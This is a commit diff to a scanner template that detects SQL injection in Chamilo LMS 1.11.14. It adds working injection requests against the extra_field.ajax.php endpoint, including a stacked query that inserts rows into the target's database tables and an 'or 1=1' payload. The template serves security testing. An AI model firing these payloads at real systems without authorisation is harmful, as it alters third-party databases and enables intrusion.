Update chamilo-lms-sqli.yaml

vulnerabilities/other/chamilo-lms-sqli.yaml

@@ -1,9 +1,9 @@
 id: chamilo-lms-sqli
 info:
-  author: Undefl0w
+  author: undefl0w
   name: Chamilo LMS SQL Injection
   severity: high
-  description: SQL injection in Chamilo version 1.11.14
+  description: Finds sql injection in Chamilo version 1.11.14
   tags: 'chamilo,sqli'
 requests:
   - raw:
@@ -12,9 +12,24 @@ requests:
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
-        type=image&field_id=image&tag=image&from=image&search=image&options=["test'); SELECT SLEEP(3.5); -- "]
+        type=image&field_id=image&tag=image&from=image&search=image&options=["test'); INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16, 16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES (16, 16,'chamilosqli'); INSERT INTO extra_field_options(option_value) VALUES ('chamilosqli'); INSERT INTO tag(id,tag,field_id ) VALUES (16,'chamilosqli',16);     -- "]
 
+      - |
+        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        type=image&field_id=image&tag=image&from=image&search=image&options=["notthetag') or 1=1 -- "]
+
+    matchers-condition: and
     matchers:
-      - type: dsl
-        dsl:
-          - duration>=2
+      - type: word
+        words:
+          - 'chamilosqli'
+          - '[{"text":"",'
+        condition: and
+        part: body
+      - type: word
+        words:
+          - 'ch_sid='
+        part: header